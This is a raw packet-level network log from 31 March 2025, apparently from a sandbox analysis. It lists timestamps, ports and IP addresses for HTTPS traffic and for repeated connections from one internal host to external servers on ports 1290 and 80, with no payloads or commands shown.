Mar 31, 2025 14:08:03.420625925 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.420654058 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.420671940 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.421701908 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.496855974 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.496941090 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.524364948 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.575294971 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.596024036 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.596076012 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.678991079 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.679045916 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.695915937 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.695983887 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.782423019 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.887295961 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:03.988838911 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:03.988897085 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.089550018 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.089615107 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.188816071 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.188891888 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.215099096 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.215152025 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.289139986 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.289197922 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.383913994 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.383990049 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.401652098 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.401700974 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.500132084 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.500221014 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.598027945 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.598099947 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.696228981 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.696285963 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.719398975 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.719510078 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.802362919 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.802412987 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.839421988 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.839489937 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.904637098 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.904700994 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:04.942892075 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:04.942960024 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.002630949 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.002695084 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.044920921 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.044977903 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.102722883 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.102777004 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.116197109 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.116239071 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.145800114 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.145854950 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.222951889 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.223014116 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.247895956 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.247946978 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.323352098 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.323409081 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.343508005 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.343566895 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.423860073 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.442256927 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.446434021 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.546719074 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.547034979 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.553617954 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:05.657366037 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.657696962 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:05.699290037 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:06.107239008 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:06.107296944 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:08.785752058 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:08.897924900 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:08.898000002 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:08.902616024 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:09.018578053 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:09.018852949 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:09.018863916 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:09.018919945 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:09.018920898 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:10.337847948 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:10.561125040 CEST	80	48262	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:10.561193943 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:11.253014088 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:11.253014088 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:11.351294994 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:11.351387024 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:11.351448059 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:11.351526976 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:11.352046013 CEST	443	36504	199.232.90.49	192.168.2.13
Mar 31, 2025 14:08:11.352108955 CEST	36504	443	192.168.2.13	199.232.90.49
Mar 31, 2025 14:08:12.488399982 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:12.729084969 CEST	80	48262	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:12.729115009 CEST	80	48262	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:12.729126930 CEST	80	48262	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:12.729238987 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:12.729238987 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:13.349818945 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:13.591505051 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:13.631202936 CEST	80	48262	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:13.631263018 CEST	48262	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:13.824510098 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:13.824707031 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:13.828447104 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.051568985 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.053056002 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.053091049 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.053153992 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.053153992 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.054197073 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.054234028 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.054255962 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.054269075 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.054302931 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.054332972 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.054332972 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.054388046 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.276499033 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.276539087 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.276568890 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.276587963 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.276587963 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.276603937 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.276621103 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.276670933 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277170897 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277204990 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277221918 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277235985 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277255058 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277270079 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277292013 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277302980 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277314901 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277334929 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277347088 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277365923 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277373075 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277399063 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.277405977 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.277445078 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.358833075 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:14.358937025 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:14.359035969 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:08:14.516077995 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:08:14.527834892 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.527903080 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.527916908 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.527960062 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.528003931 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.528059006 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.534872055 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.534929991 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.545706987 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.547082901 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.547120094 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.550249100 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.550282001 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.550314903 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.550347090 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.586318016 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.749974012 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.750085115 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.750142097 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.750292063 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.758204937 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.758259058 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824681044 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824723005 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824755907 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824754000 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824786901 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824815989 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824816942 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824840069 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824847937 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824872017 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824877024 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824904919 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824918032 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824938059 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.824961901 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.824982882 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.972800970 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.972865105 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.972882032 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.972944021 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.984546900 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.984585047 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:14.984635115 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:14.984635115 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.050527096 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.050565004 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.050596952 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.050633907 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.051073074 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.051106930 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.051126003 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.051157951 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.052599907 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.052632093 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.052644014 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.052673101 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.052691936 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.052723885 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.052742004 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.052782059 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.052788019 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.052841902 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.211719036 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.211735010 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.211803913 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.211803913 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.224687099 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.224704981 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.224740982 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.224741936 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.328146935 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.328166008 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.328243971 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.328243971 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.334394932 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.334409952 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.334446907 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.334446907 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.334811926 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.334861040 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.334870100 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.334930897 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.344484091 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.344518900 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.344542027 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.344583988 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.447289944 CEST	57216	443	192.168.2.13	54.247.62.1
Mar 31, 2025 14:08:15.449856997 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.449933052 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.450028896 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.450078011 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.554068089 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.554141045 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.554166079 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.554219007 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.558274031 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.558290958 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.558305979 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.558320999 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.558327913 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.558329105 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.558372974 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.558372974 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.728562117 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.728580952 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.728632927 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.728632927 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.730731964 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.730771065 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.824388981 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:15.824441910 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:15.979334116 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.227782011 CEST	80	48264	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.227840900 CEST	48264	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.311525106 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.537614107 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.537708998 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.541249037 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.765734911 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.765991926 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766006947 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766045094 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766046047 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766056061 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766091108 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766091108 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766091108 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766132116 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766206980 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766264915 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766275883 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:16.766314030 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:16.766314030 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.031541109 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.031553984 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.031593084 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.031593084 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.040050983 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.040064096 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.040107965 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.040107965 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.046122074 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.046161890 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.046168089 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.046224117 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.046741962 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.046792984 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.046802044 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.046837091 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.048504114 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.048537016 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.048547029 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.048588037 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.050728083 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.050740957 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.050767899 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.050776005 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.050776005 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.050780058 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.051820040 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.254584074 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.254601002 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.254659891 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.254659891 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.265738964 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.265805006 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.271887064 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.272015095 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.273561954 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.273586988 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.275304079 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.275367022 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.277750015 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.277762890 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.294544935 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:17.525918007 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.525945902 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:17.526021957 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:18.229989052 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:18.230042934 CEST	48266	80	192.168.2.13	217.156.66.6
Mar 31, 2025 14:08:18.453471899 CEST	80	48266	217.156.66.6	192.168.2.13
Mar 31, 2025 14:08:18.453663111 CEST	48266	80	192.168.2.13	217.156.66.6
